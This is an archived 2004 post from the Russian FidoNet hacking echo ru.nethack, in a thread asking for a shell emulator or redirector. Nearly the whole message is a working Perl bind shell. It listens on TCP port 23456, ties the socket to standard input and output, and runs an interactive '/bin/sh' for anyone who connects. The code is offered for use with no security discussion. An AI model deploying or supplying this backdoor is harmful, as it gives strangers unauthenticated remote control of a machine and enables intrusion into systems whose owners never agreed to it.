Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Petrushko Vasya                      2:5020/400     14 Sep 2004  10:56:19
 To : Dmitry Radishev
 Subject : Re: Hужен shell emulator/redirector
 -------------------------------------------------------------------------------- 
 
 On Mon, 13 Sep 2004 21:48:14 +0400, Dmitry Radishev wrote:
 
 >  Чего такое значит "есть код такой тулзы"? Слово _эмулятор_ вижу, а эмулятор -
 > это по определению _не_ шелл...
 
 Читай, повторяю персонально:
 
 use Socket;
 $protocol = getprotobyname(tcp);
 socket(SOCK, PF_INET, SOCK_STREAM, $protocol);
 setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);
 $port=23456;
 bind(SOCK, sockaddr_in($port, INADDR_ANY));
 listen(SOCK, 1);
 accept (NEW, SOCK);
 if(!fork()){
   open STDIN, "<&NEW";
   open STDOUT, ">&NEW";
   open STDERR, ">&NEW";
   exec "/bin/sh -i"
 }
 else{
   close NEW;
   exit;
 }
  
 > All the best //DiBR                        [TEAM ВСЕ МАСТДАЙ] [шестая базовая]
 >                                                          [http://dibr.nnov.ru]
 
 --- ifmail v.2.15dev5.3
  * Origin: Global Ukraine free NNTP site (2:5020/400)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Hужен shell emulator/redirector   Petrushko Vasya   06 Sep 2004 05:19:47 
 Hужен shell emulator/redirector   Cybervlad   06 Sep 2004 09:16:06 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   06 Sep 2004 23:04:57 
 Re: Hужен shell emulator/redirector   Cybervlad   07 Sep 2004 07:50:00 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   13 Sep 2004 03:01:53 
 Re: Hужен shell emulator/redirector   Cybervlad   13 Sep 2004 09:17:25 
 Hужен shell emulator/redirector   Dmitry Radishev   13 Sep 2004 22:48:14 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   14 Sep 2004 10:56:19 
 Hужен shell emulator/redirector   Dmitry Radishev   08 Sep 2004 00:15:46 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   08 Sep 2004 20:40:52 
Архивное /ru.nethack/443447c08de1.html, оценка 1 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional